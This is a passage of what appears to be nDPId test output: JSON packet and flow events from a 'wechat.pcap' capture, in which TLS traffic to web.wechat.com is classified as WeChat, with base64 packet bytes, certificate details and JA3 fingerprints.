{"version":"TLSv1.2","client_requested_server_name":"web.wechat.com","server_names":"webpush1.wechat.com,webpush.wechat.com,login.web.wechat.com,webpush.web.wechat.com,webpush2.wechat.com,webpush.web2.wechat.com,file.web2.wechat.com,web1.wechat.com,file.web.wechat.com,loginpoll.wechat.com,web2.wechat.com,login.wechat.com,login.web2.wechat.com,res.wechat.com,web.wechat.com","ja3":"e330bca99c8a5256ae126a55c4c725c5","ja3s":"699a80bdb17efe157c861f92c5bf5d1d","unsafe_cipher":0,"cipher":"TLS_ECDHE_RSA_WITH_AES_128_GCM_SHA256","issuerDN":"C=US, O=GeoTrust Inc., CN=GeoTrust SSL CA - G3","issuerDN":"C=HK, ST=HongKong, L=Wan Chai, O=Tencent Mobility Limited, CN=web.wechat.com","alpn":"h2,http\/1.1","fingerprint":"4F:3B:6A:87:0C:D2:34:09:C9:53:9F:6F:EE:7D:7B:9B:E9:D6:EF:C1"}} +00424{"flow_id":26,"flow_packet_id":9,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":369,"source":"wechat.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1492167401,"pkt_ts_usec":537558,"pkt_caplen":66,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":66,"pkt_l4_len":32,"pkt":"8IQvSpdgeJKcD6iOCABFAAA0voRAAEAGVsDAqAFny82XotNRAbuSN1cQMupxMIAQARVQrwAAAQEICgAw6VZFrW3W"} +00598{"flow_id":26,"flow_packet_id":10,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":370,"source":"wechat.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1492167401,"pkt_ts_usec":540714,"pkt_caplen":192,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":192,"pkt_l4_len":158,"pkt":"8IQvSpdgeJKcD6iOCABFAACyvoVAAEAGVkHAqAFny82XotNRAbuSN1cQMupxMIAYARXRzgAAAQEICgAw6VdFrW3WFgMDAEYQAABCQQR+Zzl6OF3mpBTuo1MHw06sa3HXCYdc2aan\/mlkbUAtlxEnFnijBED0VLBGpUi2PPuMFOYY4FqU2Kwbgr9KoNadFAMDAAEBFgMDACgAAAAAAAAAAPY\/RIx9sjpUCxjOK2FLU4x2pg76qmzxkX0LqNsEQp1b"} +00498{"flow_id":26,"flow_packet_id":11,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":371,"source":"wechat.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1492167401,"pkt_ts_usec":897493,"pkt_caplen":117,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":117,"pkt_l4_len":83,"pkt":"eJKcD6iO8IQvSpdgCABFoABnCNVAAC0GHp3LzZeiwKgBZwG701Ey6nEwkjdXjoAYAHhVMwAAAQEICkWtbjAAMOlXFAMDAAEBFgMDACj\/FfgXKdx6o9tjixDT8r1LXUhCaN6fSWvolEpiQojx\/\/sEVcb95exU"} +02013{"flow_id":26,"flow_packet_id":12,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":372,"source":"wechat.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1492167401,"pkt_ts_usec":898785,"pkt_caplen":1234,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":1234,"pkt_l4_len":1200,"pkt":"8IQvSpdgeJKcD6iOCABFAATEvoZAAEAGUi7AqAFny82XotNRAbuSN1eOMupxY4AYARUgVgAAAQEICgAw6bBFrW4wFwMDBIsAAAAAAAAAAUhA3Rzn3cn8QroJPh3uJK0RvC4RvPYg7CjUtj6oBNlXeexDCoL+DeLnyahyw95JVAv6lfpQgs9kAS0xuYnNYsoMDKeBA+OT64SrApgkgJFUXjCGa+gDUVkPWJdVy6fISbdkzigkeUH2l51oPW2TLD\/Ab0fqi7QNCd3huQxOZfvNe\/QpCl89Rw8nPHoej80kpFMugCLGHmYbBLpj20F\/lZzFU+yzw2iKWsYFxUypffNAIunv8aZVRk6lYll7I2VMVkVU3j2wZ2Y3s17rivQ1z2D3Uy1oBzHpkGWySL3UZQTRYmTZ0aS9UKEH3qPKzaZ6Tt01ykM7M\/sZNkM0UIuCVNsn6pn6yx8W64ssBq\/3Lcg0OwVK4tK4ttv5sN6OeY29W086nOqa7st\/AGlLbMlRhgiS2Q329qyXLAjQrax5Vwr11AU+\/OEHH4aoQT5dPPvMDT8Vwjt+38veGGUypHbF8eUgmSZHbMYZMHw8P3SijYwrfDoAlnvkwJHXExO56vWrdIIfWbk0VwkIJCRmnnJR+\/afcpiBOk7FF2bW\/0MmHWlV3d02TaRXjyDs2LKJqvI+GGqTb8YtX6AKb1C1RNNx+ci2vg\/3hd\/zg\/sE9zPZxwqK2Tx6zIztnf9nWXZXYTOrrDXK6mafPt2HvYKqzyE3yr8\/fK6gmb6Dh63\/IYjGDxol7K1+cgdI7EWC0SoJOJzvfJ06ybsqgiqAVqr96gptrvpNu\/f5T+aOvvKQXDwiTAGXWdvwiOgdSmmaZnMlrIzA8JDW3B53mBDe\/uslkXj2OUIJhVfYLQjuzqEJkessL51ihVGN8NbLR7nYksIQFPbRZJHBi1cOhuV+VPpQmh5PzGf4UPnN7GBOsuHPSFS5lktWsK1LEBAp4vSztD1EpcvGHCLh14QJ\/KlkSseLnQTYaEEFbth1KEUMUOFCqsZK3k5pPcIE4PAl5ukDLh3geGRTR8kIGLE5+ty1+HbLCjiYOOrSNF8rn9KbxSKd745Nm77DtQN6QVLvTshdqJNgUxvU0\/thG2YcwNHWoXSMWxi+uILOB7\/s2P4WdUq0cJMEvTBUB6h1CfYlHaI+M0clTBWWgNX3QzmulXk4rJyVBEDfr\/PBTMOsJ1gjT9VWo7cYDuYT4ipy8vSxDueYvqQNfAJcft2jHm1ealWiWmmdOBamgVRpBK7TFH1Ls1U++6h4rgx8rqr95cuuyUmgZ1D7H3J4aCzGxVfro4ZL5uLl\/r+9z06vnR8Z7xguvsR7iYDkq\/EI7hyGDUkrba3WNYjuNrjXHFprWKAntDWuXtpQthXyEwkM3Ex2dj9XMVYwU9uR51CRnUn9rtb7ERU7wch4kYBrlItm6UOb+3lYX9vHE+VN0edM5AvWFgnTme4Vc3b+02oLff53CahuxBVzDVu5K6CZ4Sdxo6GavMkyCvxNOyVCqPv8P+mEM34s+LSRQvKiI0bWM2XnSF5yudGFNc0yfnd4I15UI4qkzTm6lPuAjjxKmZiJGQwGs4pklWZku7+U7N+Kt3MKK2evVIvpXM49+bJNoqAqYw=="} +01071{"flow_id":26,"flow_packet_id":13,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":373,"source":"wechat.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1492167401,"pkt_ts_usec":905990,"pkt_caplen":535,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":535,"pkt_l4_len":501,"pkt":"8IQvSpdgeJKcD6iOCABFAAIJvodAAEAGVOjAqAFny82XotNRAbuSN1weMupxY4AYARXtrwAAAQEICgAw6bJFrW4wFwMDAdAAAAAAAAAAAs3H1ZM9NDXFCr\/F4X\/nO5HUAcxx+b5yJGhnLdCulewgQed+Fpr5ANLhW6Laa0nrCJt+a7t2haiHacgl12MjuKGTzn+QVSVWVtSA2ZKBvdoAsCTd93P0LQRUzdODQmh8Sjrhj9Bx51VqFfZ9QrAiShZWrmE+n\/N\/b0MC47+TWymwAknLmU59QOvHTQDoih7ja9SugPTE0X9JmS2\/fMpY28eViNP1SEoLbGHp33J7r8\/ZnZ1qYdbrO8fdrAifSj40WtXsCQpENLYpLOPKk8BGYeY4TQ8d4MdanW87a8GqlEJD\/B9ox1ch4hg+WTc17Qy3LU1QdvNXM4WUBUzuzOXCPj0Ga0XkFvojfL19iJNgohoQHlKy74ZbFonq\/H8HlLmjJURHBHxb2V8gI6ms\/T+kKKbwCxbhXXFegiTEaaoKhkSqWJSXbC6xTFpktgMtQZOR3ScZomeWHPQZttjlQ+\/pKGJSQwdCWoOvwmvsOkN3JbGDIWTPNoTx5I2bcbWIQYe04tdjOHGyzAwyLb0UE5G6RVVWWDW3T6QSNbx\/DbRseGQR+rMJink6\/Cfinlao4VM5SRbLMZD7\/\/WqP2WEZ9iQ0xr8YT3KMM\/Xsw=="} +00452{"flow_id":25,"flow_packet_id":3,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":374,"source":"wechat.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1492167402,"pkt_ts_usec":13192,"pkt_caplen":85,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":85,"pkt_l4_len":51,"pkt":"eJKcD6iO8IQvSpdgCABFoABHL81AAC4G9pPLzZfTwKgBZwG7nyRpgH6Orb8\/fVAYAIMZWAAAFQMDABoY8p0q0Neyx8LzFoDelCtviTdTs0pFnXUR7g=="} +00407{"flow_id":25,"flow_packet_id":4,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":375,"source":"wechat.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1492167402,"pkt_ts_usec":13258,"pkt_caplen":54,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":54,"pkt_l4_len":20,"pkt":"8IQvSpdgeJKcD6iOCABFAAAokupAAEAGgjXAqAFny82X058kAbutvz99aYB+rVAQAdESCQAA"} +00408{"flow_id":25,"flow_packet_id":5,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":376,"source":"wechat.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1492167402,"pkt_ts_usec":13506,"pkt_caplen":54,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":54,"pkt_l4_len":20,"pkt":"eJKcD6iO8IQvSpdgCABFoAAoL85AAC4G9rHLzZfTwKgBZwG7nyRpgH6trb8\/fVARAIMTVgAA"} +00407{"flow_id":25,"flow_packet_id":6,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":377,"source":"wechat.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1492167402,"pkt_ts_usec":52277,"pkt_caplen":54,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":54,"pkt_l4_len":20,"pkt":"8IQvSpdgeJKcD6iOCABFAAAokutAAEAGgjTAqAFny82X058kAbutvz99aYB+rlAQAdESCAAA"} +00426{"flow_id":26,"flow_packet_id":14,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":378,"source":"wechat.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1492167402,"pkt_ts_usec":271345,"pkt_caplen":66,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":66,"pkt_l4_len":32,"pkt":"eJKcD6iO8IQvSpdgCABFoAA0CNZAAC0GHs\/LzZeiwKgBZwG701Ey6nFjkjdd84AQAJ1JAAAAAQEICkWtbo0AMOmw"} +00408{"flow_id":25,"flow_packet_id":7,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":381,"source":"wechat.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1492167402,"pkt_ts_usec":309809,"pkt_caplen":54,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":54,"pkt_l4_len":20,"pkt":"8IQvSpdgeJKcD6iOCABFAAAokuxAAEAGgjPAqAFny82X058kAbutvz99aYB+rlARAdESBwAA"} +00750{"flow_id":27,"flow_packet_id":4,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":382,"source":"wechat.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1492167402,"pkt_ts_usec":310146,"pkt_caplen":304,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":304,"pkt_l4_len":270,"pkt":"8IQvSpdgeJKcD6iOCABFAAEi\/0FAAEAGFRXAqAFny82XotNSAbu9GRfhaSEzFIAYAOXLGwAAAQEICgAw6hdF0dMbFgMBAOkBAADlAwNcdyw1yRDcJ84bZrg3yfpXPyAQAyCg+1tU4GVhjRrgZCAaIhm+GrvSL4C3za8tBz\/r8L0Wzeb9BIm3rLTP4zTFlAAgWlrMqcyozBTME8ArwC\/ALMAwwBPAFACcAJ0ALwA1AAoBAAB8KioAAP8BAAEAAAAAEwARAAAOd2ViLndlY2hhdC5jb20AFwAAACMAAAANABQAEgQDCAQEAQUDCAUFAQgGBgECAQAFAAUBAAAAAAASAAAAEAAOAAwCaDIIaHR0cC8xLjF1UAAAAAsAAgEAAAoACgAIenoAHQAXABg6OgABAA=="} +00722{"flow_event_id":5,"flow_event_name":"detected","thread_id":0,"packet_id":382,"source":"wechat.pcap","alias":"nDPId-test","flow_id":27,"flow_packet_id":4,"flow_first_seen":1492167401063,"flow_last_seen":1492167402310,"flow_tot_l4_data_len":382,"flow_min_l4_data_len":32,"flow_max_l4_data_len":270,"flow_avg_l4_data_len":95,"midstream":0,"l3_proto":"ip4","src_ip":"192.168.1.103","dst_ip":"203.205.151.162","src_port":54098,"dst_port":443,"l4_proto":"tcp","ndpi": {"proto":"TLS.WeChat","breed":"Fun","category":"Chat"},"tls": {"version":"TLSv1.2","client_requested_server_name":"web.wechat.com","ja3":"e330bca99c8a5256ae126a55c4c725c5","ja3s":"","unsafe_cipher":0,"cipher":"TLS_NULL_WITH_NULL_NULL","alpn":"h2,http\/1.1"}} +00744{"flow_id":26,"flow_packet_id":15,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":383,"source":"wechat.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1492167402,"pkt_ts_usec":335967,"pkt_caplen":297,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":297,"pkt_l4_len":263,"pkt":"eJKcD6iO8IQvSpdgCABFoAEbCNdAAC0GHefLzZeiwKgBZwG701Ey6nFjkjdd84AYAJ36FAAAAQEICkWtbp0AMOmwFwMDAOL\/FfgXKdx6pGbalAz1ohkcA0lw2HwrHPuK9\/idzZPdcoSBfT7Jc5IB8+Q0\/iqiXWeiux54PEEb10mQ0NnmXUs1k9xWI1fO18IfaEHWmMVhXjTjn39E+xIiT\/rMyrwzBhM3vPKdwzqG2+\/pOewuwuaLCD2dBP+GQFajVHfNPwkJDAViiuPi1wGVZfBQk9kFJyHbovzhq7lZ+zlig0PtFdEi9Yiz60lOElWBfnTwm\/g1rqQnV4R\/ExK\/5BeoIvKE5wRE0CUm6sSbJRT8k81DbZZGlff0xmTiGNfAOA7sqmYeeMCC"} +00436{"flow_id":27,"flow_packet_id":5,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":386,"source":"wechat.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1492167402,"pkt_ts_usec":503323,"pkt_caplen":74,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":74,"pkt_l4_len":40,"pkt":"eJKcD6iO8IQvSpdgCABFoAA8AABAAC0GJ53LzZeiwKgBZwG701JpITMTvRkX4aASN8ihIwAAAgQFoAQCCApF0dQjADDpNgEDAwc="} +00425{"flow_id":27,"flow_packet_id":6,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":387,"source":"wechat.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1492167402,"pkt_ts_usec":503381,"pkt_caplen":66,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":66,"pkt_l4_len":32,"pkt":"8IQvSpdgeJKcD6iOCABFAAA0\/0JAAEAGFgLAqAFny82XotNSAbu9GRjPaSEzFIAQAOUFyAAAAQEICgAw6kdF0dMb"} +00424{"flow_id":27,"flow_packet_id":7,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":388,"source":"wechat.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1492167402,"pkt_ts_usec":663779,"pkt_caplen":66,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":66,"pkt_l4_len":32,"pkt":"eJKcD6iO8IQvSpdgCABFoAA050BAAC0GQGTLzZeiwKgBZwG701JpITMUvRkYz4AQAHgFLAAAAQEICkXR1FQAMOoX"} +02346{"flow_id":27,"flow_packet_id":8,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":389,"source":"wechat.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1492167402,"pkt_ts_usec":665578,"pkt_caplen":1494,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":1494,"pkt_l4_len":1460,"pkt":"eJKcD6iO8IQvSpdgCABFoAXI50FAAC0GOs\/LzZeiwKgBZwG701JpITMUvRkYz4AQAHj1YQAAAQEICkXR1FUAMOoXFgMDAF0CAABZAwPjjdO\/iKaTvZmxOOQcIaPi+XwdRT085iLMQSzoXvX2CSD2Roioh3VliBz70\/MEuqHmVMPaLVlcE9C1qSXIt5UDlcAvAAARAAAAAP8BAAEAAAsABAMAAQIWAwMKagsACmYACmMABgowggYGMIIE7qADAgECAhAw0VtVOfZrLt7UNL9vJ0R7MA0GCSqGSIb3DQEBCwUAMEQxCzAJBgNVBAYTAlVTMRYwFAYDVQQKEw1HZW9UcnVzdCBJbmMuMR0wGwYDVQQDExRHZW9UcnVzdCBTU0wgQ0EgLSBHMzAeFw0xNTA5MjEwMDAwMDBaFw0xODA5MjAyMzU5NTlaMG8xCzAJBgNVBAYTAkhLMREwDwYDVQQIEwhIb25nS29uZzERMA8GA1UEBxQIV2FuIENoYWkxITAfBgNVBAoUGFRlbmNlbnQgTW9iaWxpdHkgTGltaXRlZDEXMBUGA1UEAxQOd2ViLndlY2hhdC5jb20wggEiMA0GCSqGSIb3DQEBAQUAA4IBDwAwggEKAoIBAQDOKLCU12ARBCRlKli7V796N1s9bfDDDp36hVnOckXCCtd1EICzDOMCShPpSy6mvuoSPYBr2kWWo99zbB1a21uYKdVpQmanSw53I2i\/nT9Ba10GRLm5DHrUpDUEij+mkz50Z2gx4CFdsKkRaGEZPO+as9uZ5K0vR1Ij1SUq7qYvK\/o8FWohsRDN8NCmoaUDyOkjivmoxwF9B\/OolimvW\/aejHHbaF7KhHMDTMj3pM9w5Z2Pb22IeJh85lDZOl6rH+yOl8HX0\/8DT5oJOmZoGq0Ovth7OnIKiNK8RoWM02mbl0XitpMl\/rj\/RLaSgD7DwrZYmXrRrFMnwlkx7CD4EfJfAgMBAAGjggLHMIICwzCCAT4GA1UdEQSCATUwggExghN3ZWJwdXNoMS53ZWNoYXQuY29tghJ3ZWJwdXNoLndlY2hhdC5jb22CFGxvZ2luLndlYi53ZWNoYXQuY29tghZ3ZWJwdXNoLndlYi53ZWNoYXQuY29tghN3ZWJwdXNoMi53ZWNoYXQuY29tghd3ZWJwdXNoLndlYjIud2VjaGF0LmNvbYIUZmlsZS53ZWIyLndlY2hhdC5jb22CD3dlYjEud2VjaGF0LmNvbYITZmlsZS53ZWIud2VjaGF0LmNvbYIUbG9naW5wb2xsLndlY2hhdC5jb22CD3dlYjIud2VjaGF0LmNvbYIQbG9naW4ud2VjaGF0LmNvbYIVbG9naW4ud2ViMi53ZWNoYXQuY29tgg5yZXMud2VjaGF0LmNvbYIOd2ViLndlY2hhdC5jb20wCQYDVR0TBAIwADAOBgNVHQ8BAf8EBAMCBaAwKwYDVR0fBCQwIjAgoB6gHIYaaHR0cDovL2duLnN5bWNiLmNvbS9nbi5jcmwwgZ0GA1UdIASBlTCBkjCBjwYGZ4EMAQICMIGEMD8GCCsGAQUFBwIBFjNodHRwczovL3d3dy5nZW90cnVzdC5jb20vcmVzb3VyY2VzL3JlcG9zaXRvcnkvbGVnYWwwQQYIKwYBBQUHAgIwNQwzaHR0cHM6Ly93d3cuZ2VvdHJ1c3QuY29tL3Jlc291cmNlcy9yZXBvc2l0b3J5L2xlZ2FsMB0GA1UdJQQWMBQGCCsGAQUFBwMBBggrBgEFBQcDAjAfBgNVHSMEGDAWgBTSb\/eW9IU\/cjwwfSPahXibo3xafDBXBggrBgEFBQcBAQRLMEkwHwYIKwYBBQUHMAGGE2h0dHA6Ly9nbi5zeW1jZC5jb20wJgYIKwYBBQUHMAKGGmh0dHA6Ly9nbi5zeW1jYi5jb20vZ24uY3J0MA0GCSqGSIb3DQEBCwUAA4IBAQAZA+6JF4lvu2XJwUfeUSiNqeNdtX0tN26N"} +00779{"flow_event_id":6,"flow_event_name":"detection-update","thread_id":0,"packet_id":389,"source":"wechat.pcap","alias":"nDPId-test","flow_id":27,"flow_packet_id":8,"flow_first_seen":1492167401063,"flow_last_seen":1492167402665,"flow_tot_l4_data_len":1946,"flow_min_l4_data_len":32,"flow_max_l4_data_len":1460,"flow_avg_l4_data_len":243,"midstream":0,"l3_proto":"ip4","src_ip":"192.168.1.103","dst_ip":"203.205.151.162","src_port":54098,"dst_port":443,"l4_proto":"tcp","ndpi": {"proto":"TLS.WeChat","breed":"Fun","category":"Chat"},"tls": {"version":"TLSv1.2","client_requested_server_name":"web.wechat.com","ja3":"e330bca99c8a5256ae126a55c4c725c5","ja3s":"699a80bdb17efe157c861f92c5bf5d1d","unsafe_cipher":0,"cipher":"TLS_ECDHE_RSA_WITH_AES_128_GCM_SHA256","alpn":"h2,http\/1.1"}} +00425{"flow_id":27,"flow_packet_id":9,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":390,"source":"wechat.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1492167402,"pkt_ts_usec":665635,"pkt_caplen":66,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":66,"pkt_l4_len":32,"pkt":"8IQvSpdgeJKcD6iOCABFAAA0\/0NAAEAGFgHAqAFny82XotNSAbu9GRjPaSE4qIAQAPv+ugAAAQEICgAw6nBF0dRV"} +02698{"flow_id":27,"flow_packet_id":10,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":391,"source":"wechat.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1492167402,"pkt_ts_usec":666132,"pkt_caplen":1754,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":1754,"pkt_l4_len":1720,"pkt":"eJKcD6iO8IQvSpdgCABFoAbM50JAAC0GOcrLzZeiwKgBZwG701JpITiovRkYz4AYAHgsPgAAAQEICkXR1FUAMOoXi6AhOArffz9dJXvub9aMTE9m7GKRKeFA\/Frtrp0XYhX6JqYW8b5etQL4tC009s8jG\/TuF8dFm+8Qnv4WGTbK3wvSPN1JnNDQWe+joFVsTCgLSjZxmTivYWk1MKykcC3vkTLWMDBQxUwZd+bVuFy+Hg8Wo2jQzS71Re20zkF2fEkUE+GnA3Ez8ZEoMIVFfuZJTLyMwnZDYqRXtmKQLIXy6PQpFijtmZoXa3RaUholNnff2hQGO8247PV9f6R3KrjtNTdvAtNV8PNXxSymO5xp1cn7ghlbtsUCsdT2arvzaytmF1NYKThZAARTMIIETzCCAzegAwIBAgIDAjpvMA0GCSqGSIb3DQEBCwUAMEIxCzAJBgNVBAYTAlVTMRYwFAYDVQQKEw1HZW9UcnVzdCBJbmMuMRswGQYDVQQDExJHZW9UcnVzdCBHbG9iYWwgQ0EwHhcNMTMxMTA1MjEzNjUwWhcNMjIwNTIwMjEzNjUwWjBEMQswCQYDVQQGEwJVUzEWMBQGA1UEChMNR2VvVHJ1c3QgSW5jLjEdMBsGA1UEAxMUR2VvVHJ1c3QgU1NMIENBIC0gRzMwggEiMA0GCSqGSIb3DQEBAQUAA4IBDwAwggEKAoIBAQDjvn4KhqPPa209K6GXrUkkTdd3uTR5CKWeop7eRxKSPX7qGYax6E89X\/fQp3eaWx8KA7UZU9ulIZRpY51qTJEMEEe+EfpshiW3qwRoQjgJZfAU2hme+msLq2LvjafvY3AjqK+B89FuiGdT7BKkKXWKp\/JXPaKDmJfyCn3U50NuMHhiIllZuHEnRaoPZsZVP\/oyFysxj0ag+mkUfJ2fWuLrM04QprPtd2PYw5703d95mnrU7t7dmszDt6ldzBE6B7tvl6QBI0eVH6N3+liSxsfQvc+TGEK3fveeZerVO8rtrMVwof7UEJrwEgRErBpbeFBFV0xvvYDLgVwts7x2oR5lAgMBAAGjggFKMIIBRjAfBgNVHSMEGDAWgBTAephojYn7qwVkDBF9qn1luMrMTjAdBgNVHQ4EFgQU0m\/3lvSFP3I8MH0j2oV4m6N8WnwwEgYDVR0TAQH\/BAgwBgEB\/wIBADAOBgNVHQ8BAf8EBAMCAQYwNgYDVR0fBC8wLTAroCmgJ4YlaHR0cDovL2cxLnN5bWNiLmNvbS9jcmxzL2d0Z2xvYmFsLmNybDAvBggrBgEFBQcBAQQjMCEwHwYIKwYBBQUHMAGGE2h0dHA6Ly9nMi5zeW1jYi5jb20wTAYDVR0gBEUwQzBBBgpghkgBhvhFAQc2MDMwMQYIKwYBBQUHAgEWJWh0dHA6Ly93d3cuZ2VvdHJ1c3QuY29tL3Jlc291cmNlcy9jcHMwKQYDVR0RBCIwIKQeMBwxGjAYBgNVBAMTEVN5bWFudGVjUEtJLTEtNTM5MA0GCSqGSIb3DQEBCwUAA4IBAQCg1Pcs+3QLf2TxzUNqn2JTHAJ8mJCi7k9o1CAacxI+d7NQ63K87oi+fxfqd4+DYZVPhKHLMk9sIb7SaZZ9Y73cK6gf0BOEcP72NZWJ+aZ3sEbIu7cT9clgadZM\/tKO79NgwYCA4ef7i28heUrg3Kkbwbf7w0lZXLV3B0TUl\/xJAIlvBk4BcBmsLxHA4uYPL4ZLjXvDuacu9PGsFj45SVGeF0tPEDpbpaiSb\/361gsDTUdWVxnzy2v189bPsPX1oxHSIFMTNDcFLENaY9+NQNaFHlHpURceA1bJ8TCt55sRornQMYGbaLHZ6PPmlH7HrhMvh+3QJbBo+d4IWvMpzNSSFgMDAU0MAAFJAwAXQQRiCB\/oTnfbUwjHRkWGqKpkzWY2pPBFPSI0yl+TbNLg7osPgJcu3tO6CEuqUsUJjoo297g\/pub8Uk3SYQMbvnV8BgEBAAIRTPBMijx0A7fIwTN60i3BCQJK21T88+nZ0ohdQLtYXD8\/2Xu42EjSiOL4mMaRS77Lrj9FAnr3YwBIRoBj5ZexvizNqBZJjFOhCmH6CvsZswlyVIkh9WLXL5peuFTT5PdamoHJ0r5DMgU1OcATqzbQaTWDyCTkmWiu2xACXKNgb8p2IgGnpQK5LKxb7TPAuaJgJUboC4mA1aHYwMbhfvelmQQdHX1pXUjinFKE1tX5o6J8aYViGPJxnXnnIfo6K6TtO8nECxxn1upXYeDQGfk8aHchQCyPvNEQEF6u2ITkaCyH5bymmaKW4FybaGsc5FpnHpv26eig+cwL\/mPOvkwWAwMABA4AAAA="} +01313{"flow_event_id":6,"flow_event_name":"detection-update","thread_id":0,"packet_id":391,"source":"wechat.pcap","alias":"nDPId-test","flow_id":27,"flow_packet_id":10,"flow_first_seen":1492167401063,"flow_last_seen":1492167402666,"flow_tot_l4_data_len":3698,"flow_min_l4_data_len":32,"flow_max_l4_data_len":1720,"flow_avg_l4_data_len":369,"midstream":0,"l3_proto":"ip4","src_ip":"192.168.1.103","dst_ip":"203.205.151.162","src_port":54098,"dst_port":443,"l4_proto":"tcp","ndpi": {"proto":"TLS.WeChat","breed":"Fun","category":"Chat"},"tls": {"version":"TLSv1.2","client_requested_server_name":"web.wechat.com","server_names":"webpush1.wechat.com,webpush.wechat.com,login.web.wechat.com,webpush.web.wechat.com,webpush2.wechat.com,webpush.web2.wechat.com,file.web2.wechat.com,web1.wechat.com,file.web.wechat.com,loginpoll.wechat.com,web2.wechat.com,login.wechat.com,login.web2.wechat.com,res.wechat.com,web.wechat.com","ja3":"e330bca99c8a5256ae126a55c4c725c5","ja3s":"699a80bdb17efe157c861f92c5bf5d1d","unsafe_cipher":0,"cipher":"TLS_ECDHE_RSA_WITH_AES_128_GCM_SHA256","issuerDN":"C=US, O=GeoTrust Inc., CN=GeoTrust SSL CA - G3","issuerDN":"C=HK, ST=HongKong, L=Wan Chai, O=Tencent Mobility Limited, CN=web.wechat.com","alpn":"h2,http\/1.1","fingerprint":"4F:3B:6A:87:0C:D2:34:09:C9:53:9F:6F:EE:7D:7B:9B:E9:D6:EF:C1"}} +00427{"flow_id":27,"flow_packet_id":11,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":392,"source":"wechat.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1492167402,"pkt_ts_usec":666174,"pkt_caplen":66,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":66,"pkt_l4_len":32,"pkt":"8IQvSpdgeJKcD6iOCABFAAA0\/0RAAEAGFgDAqAFny82XotNSAbu9GRjPaSE\/QIAQARX4CAAAAQEICgAw6nBF0dRV"} +00409{"flow_id":25,"flow_packet_id":8,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":393,"source":"wechat.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1492167402,"pkt_ts_usec":666204,"pkt_caplen":54,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":54,"pkt_l4_len":20,"pkt":"eJKcD6iO8IQvSpdgCABFoAAoAABAAC4GJoDLzZfTwKgBZwG7nyRpgH6urb8\/flAQAIMTVQAA"} 